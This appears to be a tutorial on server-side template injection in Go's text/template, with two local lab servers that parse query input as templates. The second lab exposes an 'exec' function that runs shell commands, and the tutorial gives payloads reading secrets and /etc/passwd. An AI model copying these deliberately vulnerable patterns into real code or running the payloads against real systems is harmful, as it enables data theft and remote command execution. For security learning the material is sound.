SSTI Analysis in Go Templates
Basic concepts
The Go standard library provides two template engines: html/template and text/template.
Syntax
These are mainly notes 📝
Template syntax is supported, for example:
{{ . }}: current context{{ .Field }}: access a field{{ if }}{{ else }}{{ end }}: condition{{ range }}{{ end }}: loop{{ define }}and{{ template }}: template nesting
Data evaluation
- Field access:
{{ .FieldName }}
If . is a struct or a pointer to a struct, this accesses its exported field named FieldName (with an uppercase initial letter).
- Access a nested field:
{{ .StructField.NestedField }} - Access a value in a Map:
{{ .MapName "keyName" }} (if the Map key is a string)
{{ index .MapName $keyVariable }} (using the built-in index function, which is more general)
- Access an element in a Slice or Array:
{{ .SliceName 0 }} (direct indexing is supported in Go 1.11+)
{{ index .SliceName $indexVariable }} (using the built-in index function)
- Method call:
{{ .MethodName arg1 arg2 }}
You can call a method on the current object ..
A method must return either one value, or two values where the second is of type error. The template automatically checks the error; if it is non-nil, execution stops.
Try this out.
- Root data object: At the top level of a template,
.usually points to the entire data object passed to theExecutemethod.
Control structures
{{ if pipeline }} … {{ end }}
{{ if pipeline }} … {{ else }} … {{ end }}
{{ if pipeline1 }} … {{ else if pipeline2 }} … {{ else }} … {{ end }}
{{ range $index, $element := pipeline }} … {{ end }} (for Slice/Array)
{{ range $key, $value := pipeline }} … {{ end }} (for Map)
{{ range pipeline }} … {{ else }} … {{ end }}
{{ with pipeline }} … {{ end }}
- Inside a
withblock,.becomes the result ofpipeline.
{{ with pipeline }} … {{ else }} … {{ end }}
- If the result of
pipelineisfalse(according to the rules ofif), theelsesection is executed.
Others
- Pipes can also be used.
- Call predefined built-in functions or custom functions registered by developers through
template.Funcs().
Comparison of the two engines
html/template
Built-in automatic escaping prevents XSS attacks.
Supports web template features such as template inheritance and layouts.
Provides types such as template.HTML, template.URL, and template.JS to explicitly declare content that does not need escaping (use with care).
An example follows.
package main
import (
"html/template"
"os"
)
func main() {
tmpl := `<h1>Hello, {{ .Name }}</h1>`
data := map[string]string{"Name": "<script>alert('Go Go Go!!')</script>"}
t := template.Must(template.New("web").Parse(tmpl))
t.Execute(os.Stdout, data)
}
The output shows that escaping was performed.
<h1>Hello, <script>alert('Go Go Go!!')</script></h1>
text/template
Go’s text/template is mainly used to generate plain text output, such as configuration files, email, source code, or ordinary text messages. Unlike html/template, which is mainly used to generate HTML, text/template does not have context-aware automatic escaping. This means it does not automatically apply security handling based on the output location (such as an HTML tag, attribute, or JavaScript script).
Example:
package main
import (
"os"
"text/template"
)
func main() {
// 构建模板
tmpl, err := template.New("").Parse("Hello,{{ . }}")
if err != nil {
panic(err)
}
err = tmpl.Execute(os.Stdout, "Bpple")
if err != nil {
panic(err)
}
}

🌟Attack
Template injection
This can mainly help us obtain variable values and other information.
I put together an example that you can run and test.
package main
import (
"fmt"
"html"
"log"
"net/http"
"text/template"
)
// 模拟一些应用数据,其中包含敏感信息
var appData = struct {
AdminNote string
SecretKey string
}{
AdminNote: "System is running smoothly.",
SecretKey: "Flag{1234567890abcdef}",
}
func main() {
http.HandleFunc("/vulnerable", func(w http.ResponseWriter, r *http.Request) {
// 从查询参数获取 'format'
format := r.URL.Query().Get("format")
if format == "" {
format = "Welcome, user!"
}
templateString := format
w.Header().Set("Content-Type", "text/plain; charset=utf-8") // 明确是纯文本
w.WriteHeader(http.StatusOK)
tmpl, err := template.New("vuln").Parse(templateString)
if err != nil {
fmt.Fprintf(w, "Template parsing error: %v\n", err)
log.Printf("Vulnerable endpoint parse error: %v (Input: %q)", err, format)
return
}
err = tmpl.Execute(w, appData)
if err != nil {
fmt.Fprintf(w, "\nTemplate execution error: %v", err)
log.Printf("Vulnerable endpoint execute error: %v (Input: %q)", err, format)
}
})
http.HandleFunc("/safe", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if name == "" {
name = "Guest"
}
templateString := "Hello, {{ .UserName }}! The admin note is: {{ .AdminNote }}"
tmpl := template.Must(template.New("safe").Parse(templateString))
dataForTemplate := struct {
UserName string
AdminNote string
}{
UserName: name,
AdminNote: appData.AdminNote,
}
w.Header().Set("Content-Type", "text/plain; charset=utf-8") // 明确是纯文本
w.WriteHeader(http.StatusOK)
// 执行静态模板,传入包含用户数据(但没有秘密)的数据
err := tmpl.Execute(w, dataForTemplate)
if err != nil {
fmt.Fprintf(w, "Template execution error: %v\n", err)
log.Printf("Safe endpoint execute error: %v", err)
}
})
http.HandleFunc("/safe-html-manual", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if name == "" {
name = "Guest"
}
templateString := "<h1>Hello, {{ .EscapedName }}</h1><p>Admin note: {{ .EscapedAdminNote }}</p>"
tmpl := template.Must(template.New("safe-html").Parse(templateString))
dataForTemplate := struct {
EscapedName string
EscapedAdminNote string
}{
EscapedName: html.EscapeString(name),
EscapedAdminNote: html.EscapeString(appData.AdminNote),
}
w.Header().Set("Content-Type", "text/html; charset=utf-8") // 输出是 HTML
w.WriteHeader(http.StatusOK)
err := tmpl.Execute(w, dataForTemplate)
if err != nil {
fmt.Fprintf(w, "Template execution error: %v\n", err)
log.Printf("Safe HTML endpoint execute error: %v", err)
}
})
fmt.Println("Starting template injection demo server on :8090...")
fmt.Println("Endpoints:")
fmt.Println(" Vulnerable: http://localhost:8090/vulnerable?format=<template_string>")
fmt.Println(" Safe: http://localhost:8090/safe?name=<user_name>")
fmt.Println(" Safe HTML: http://localhost:8090/safe-html-manual?name=<user_name>")
fmt.Println("\nInjection examples for /vulnerable:")
fmt.Println(" - Access Secret: http://localhost:8090/vulnerable?format={{.SecretKey}}")
fmt.Println(" - List Fields: http://localhost:8090/vulnerable?format={{.}}")
fmt.Println(" - Execute Func: http://localhost:8090/vulnerable?format={{printf \"Admin note is: %s\" .AdminNote}}")
fmt.Println(" - Conditional: http://localhost:8090/vulnerable?format={{if .SecretKey}}Secret exists!{{end}}")
log.Fatal(http.ListenAndServe(":8090", nil))
}

Let’s test it.
vulnerable?format={{.}}
{{if .SecretKey}}Secret exists!{{end}}


Command execution
To achieve command execution, the code environment must contain relevant functions; in other words, they must be available for us to use.
Here is another lab:
package main
import (
"fmt"
"html"
"log"
"net/http"
"os/exec"
"text/template"
)
var appData = struct {
AdminNote string
SecretKey string
}{
AdminNote: "System is running smoothly.",
SecretKey: "Flag{1234567890abcdef}",
}
func executeCommand(command string) string {
cmd := exec.Command("sh", "-c", command)
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Sprintf("Error executing command '%s': %v\nOutput:\n%s", command, err, string(output))
}
return string(output)
}
func main() {
http.HandleFunc("/vulnerable", func(w http.ResponseWriter, r *http.Request) {
format := r.URL.Query().Get("format")
if format == "" {
format = "Welcome, user!"
}
templateString := format
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.WriteHeader(http.StatusOK)
tmpl := template.New("vuln").Funcs(template.FuncMap{
"exec": executeCommand,
})
tmpl, err := tmpl.Parse(templateString)
if err != nil {
fmt.Fprintf(w, "Template parsing error: %v\n", err)
log.Printf("Vulnerable endpoint parse error: %v (Input: %q)", err, format)
return
}
err = tmpl.Execute(w, appData)
if err != nil {
fmt.Fprintf(w, "\nTemplate execution error: %v", err)
log.Printf("Vulnerable endpoint execute error: %v (Input: %q)", err, format)
}
})
http.HandleFunc("/safe", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if name == "" {
name = "Guest"
}
templateString := "Hello, {{ .UserName }}! The admin note is: {{ .AdminNote }}"
tmpl := template.Must(template.New("safe").Parse(templateString))
dataForTemplate := struct {
UserName string
AdminNote string
}{
UserName: name,
AdminNote: appData.AdminNote,
}
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.WriteHeader(http.StatusOK)
err := tmpl.Execute(w, dataForTemplate)
if err != nil {
fmt.Fprintf(w, "Template execution error: %v\n", err)
log.Printf("Safe endpoint execute error: %v", err)
}
})
http.HandleFunc("/safe-html-manual", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if name == "" {
name = "Guest"
}
templateString := "<h1>Hello, {{ .EscapedName }}</h1><p>Admin note: {{ .EscapedAdminNote }}</p>"
tmpl := template.Must(template.New("safe-html").Parse(templateString))
dataForTemplate := struct {
EscapedName string
EscapedAdminNote string
}{
EscapedName: html.EscapeString(name),
EscapedAdminNote: html.EscapeString(appData.AdminNote),
}
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.WriteHeader(http.StatusOK)
err := tmpl.Execute(w, dataForTemplate)
if err != nil {
fmt.Fprintf(w, "Template execution error: %v\n", err)
log.Printf("Safe HTML endpoint execute error: %v", err)
}
})
fmt.Println("Starting template injection demo server on :8090...")
fmt.Println("Endpoints:")
fmt.Println(" Vulnerable: http://localhost:8090/vulnerable?format=<template_string>")
fmt.Println(" Safe: http://localhost:8090/safe?name=<user_name>")
fmt.Println(" Safe HTML: http://localhost:8090/safe-html-manual?name=<user_name>")
fmt.Println("\nInjection examples for /vulnerable:")
fmt.Println(" - Access Secret: http://localhost:8090/vulnerable?format={{.SecretKey}}")
fmt.Println(" - List Fields: http://localhost:8090/vulnerable?format={{.}}")
fmt.Println(" - Execute Func: http://localhost:8090/vulnerable?format={{printf \"Admin note is: %s\" .AdminNote}}")
fmt.Println(" - Conditional: http://localhost:8090/vulnerable?format={{if .SecretKey}}Secret exists!{{end}}")
fmt.Println(" - !! RCE !! : http://localhost:8090/vulnerable?format={{exec \"id\"}}")
fmt.Println(" - !! RCE !! : http://localhost:8090/vulnerable?format={{exec \"ls -la /\"}}")
fmt.Println(" - !! RCE !! : http://localhost:8090/vulnerable?format={{exec \"cat /etc/passwd\"}}")
log.Fatal(http.ListenAndServe(":8090", nil))
}
Add to FuncMap: In the /vulnerable handler, after creating a template instance, use the .Funcs() method to add the executeCommand function to the template’s function map, naming it exec.
The template can then use {{ exec "command" }} to call this function. .Funcs() must be called before .Parse().

The result of exploitation is as follows.
http://localhost:8090/vulnerable?format={{exec%20%22ls%20-la%20/%22}}
